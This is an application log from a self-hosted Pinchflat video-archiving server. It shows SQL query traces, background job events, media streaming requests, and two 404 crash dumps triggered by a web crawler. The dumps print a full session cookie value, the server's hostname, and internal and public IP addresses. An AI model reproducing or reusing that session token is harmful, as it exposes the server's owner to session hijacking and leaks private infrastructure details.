t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [5] 16:12:00.656 [debug] QUERY OK source="sources" db=0.1ms idle=1716.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:12:00.656 [debug] QUERY OK source="settings" db=0.0ms idle=1038.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:12:00.656 [debug] QUERY OK source="settings" db=0.0ms idle=38.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:12:00.656 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:12:00.657 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:12:00.657 [info] Sent 200 in 2ms 16:12:00.718 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:12:19.430 [info] GET /api/v1/videos 16:12:19.430 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 16:12:19.452 [debug] QUERY OK source="media_items" db=21.2ms idle=1490.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 16:12:19.508 [info] Sent 200 in 78ms 16:12:27.128 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:12:34.750 [info] GET /sources/1/media/3 16:12:34.751 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3", "source_id" => "1"} Pipelines: [:browser] 16:12:34.751 [debug] QUERY OK source="media_items" db=0.1ms idle=1811.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3] 16:12:34.751 [debug] QUERY OK source="sources" db=0.1ms idle=1097.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:12:34.751 [debug] QUERY OK source="tasks" db=0.1ms idle=811.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3] 16:12:34.751 [debug] QUERY OK source="settings" db=0.0ms idle=811.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:12:34.751 [debug] QUERY OK source="settings" db=0.0ms idle=96.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:12:34.752 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:12:34.752 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:12:34.752 [info] Sent 200 in 1ms 16:12:57.129 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:00.719 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:13:06.355 [info] GET /sources/3/force_index 16:13:06.355 [debug] QUERY OK source="settings" db=0.1ms idle=664.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:13:06.355 [debug] QUERY OK source="settings" db=0.0ms idle=415.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:13:06.355 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:13:06.355 [error] #PID<0.10725.0> running PinchflatWeb.Endpoint (connection #PID<0.10724.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/3/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10724.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_index", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45434}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRVg4bnZDZllkV1hMdklFNm1DQVNWYWps.gu-FUtywHc21Crb9Fvph4DRW-6-SC2_UK0GMoT695Ng", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRVg4bnZDZllkV1hMdklFNm1DQVNWYWps.gu-FUtywHc21Crb9Fvph4DRW-6-SC2_UK0GMoT695Ng" }, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10725.0>, params: %{}, path_info: ["sources", "3", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRVg4bnZDZllkV1hMdklFNm1DQVNWYWps.gu-FUtywHc21Crb9Fvph4DRW-6-SC2_UK0GMoT695Ng" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRVg4bnZDZllkV1hMdklFNm1DQVNWYWps.gu-FUtywHc21Crb9Fvph4DRW-6-SC2_UK0GMoT695Ng"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/3"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/3/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVFz9rkIGzojWwAAg9C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10724.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_index", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45434}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRVg4bnZDZllkV1hMdklFNm1DQVNWYWps.gu-FUtywHc21Crb9Fvph4DRW-6-SC2_UK0GMoT695Ng", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10724.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_index", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45434}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRVg4bnZDZllkV1hMdklFNm1DQVNWYWps.gu-FUtywHc21Crb9Fvph4DRW-6-SC2_UK0GMoT695Ng", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_ (truncated) 16:13:27.130 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:13:33.771 [info] GET /sources/1/force_index 16:13:33.771 [debug] QUERY OK source="settings" db=0.0ms idle=1831.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:13:33.771 [debug] QUERY OK source="settings" db=0.0ms idle=1831.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:13:33.771 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:13:33.771 [error] #PID<0.10729.0> running PinchflatWeb.Endpoint (connection #PID<0.10728.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/1/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10728.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_index", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 33434}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRVg4bnZDZllkV1hMdklFNm1DQVNWYWps.gu-FUtywHc21Crb9Fvph4DRW-6-SC2_UK0GMoT695Ng", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRVg4bnZDZllkV1hMdklFNm1DQVNWYWps.gu-FUtywHc21Crb9Fvph4DRW-6-SC2_UK0GMoT695Ng" }, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10729.0>, params: %{}, path_info: ["sources", "1", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRVg4bnZDZllkV1hMdklFNm1DQVNWYWps.gu-FUtywHc21Crb9Fvph4DRW-6-SC2_UK0GMoT695Ng" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRVg4bnZDZllkV1hMdklFNm1DQVNWYWps.gu-FUtywHc21Crb9Fvph4DRW-6-SC2_UK0GMoT695Ng"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/1/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVF1j0FT6zUeqQAAg_C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10728.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_index", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 33434}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRVg4bnZDZllkV1hMdklFNm1DQVNWYWps.gu-FUtywHc21Crb9Fvph4DRW-6-SC2_UK0GMoT695Ng", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10728.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_index", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 33434}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRVg4bnZDZllkV1hMdklFNm1DQVNWYWps.gu-FUtywHc21Crb9Fvph4DRW-6-SC2_UK0GMoT695Ng", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_ (truncated) 16:13:57.131 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:00.719 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:14:10.871 [info] GET /media/50105db7-92fb-4a77-8e04-d67f5f9480eb/stream 16:14:10.871 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "50105db7-92fb-4a77-8e04-d67f5f9480eb"} Pipelines: [:maybe_basic_auth] 16:14:10.871 [debug] QUERY OK source="media_items" db=0.1ms idle=1931.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["50105db7-92fb-4a77-8e04-d67f5f9480eb"] 16:14:10.872 [debug] Invalid range request for media item: 50105db7-92fb-4a77-8e04-d67f5f9480eb - serving full file 16:14:10.872 [info] Sent 200 in 622µs 16:14:11.067 [info] GET /media/50105db7-92fb-4a77-8e04-d67f5f9480eb/stream 16:14:11.067 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "50105db7-92fb-4a77-8e04-d67f5f9480eb"} Pipelines: [:maybe_basic_auth] 16:14:11.067 [debug] QUERY OK source="media_items" db=0.1ms idle=1127.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["50105db7-92fb-4a77-8e04-d67f5f9480eb"] 16:14:11.067 [debug] Streaming media item: 50105db7-92fb-4a77-8e04-d67f5f9480eb from 633241 to 304594074 16:14:11.067 [info] Sent 206 in 598µs 16:14:27.132 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:14:57.133 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:15:00.720 [info] {"source":"oban","duration":125,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:15:13.102 [info] GET /api/v1/videos 16:15:13.102 [debug] Processing with PinchflatWeb.Api.V1.VideoController.index/2 Parameters: %{} Pipelines: [:api_v1] 16:15:13.124 [debug] QUERY OK source="media_items" db=22.1ms idle=1149.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 [] 16:15:13.180 [info] Sent 200 in 77ms 16:15:19.488 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 16:15:19.488 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: [:maybe_basic_auth] 16:15:19.488 [debug] QUERY OK source="media_items" db=0.1ms idle=664.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["6a4ad32d-7b66-44f4-80a4-82b65dfd312e"] 16:15:19.488 [debug] Invalid range request for media item: 6a4ad32d-7b66-44f4-80a4-82b65dfd312e - serving full file 16:15:19.489 [info] Sent 200 in 489µs 16:15:19.883 [info] GET /media/6a4ad32d-7b66-44f4-80a4-82b65dfd312e/stream 16:15:19.883 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "6a4ad32d-7b66-44f4-80a4-82b65dfd312e"} Pipelines: 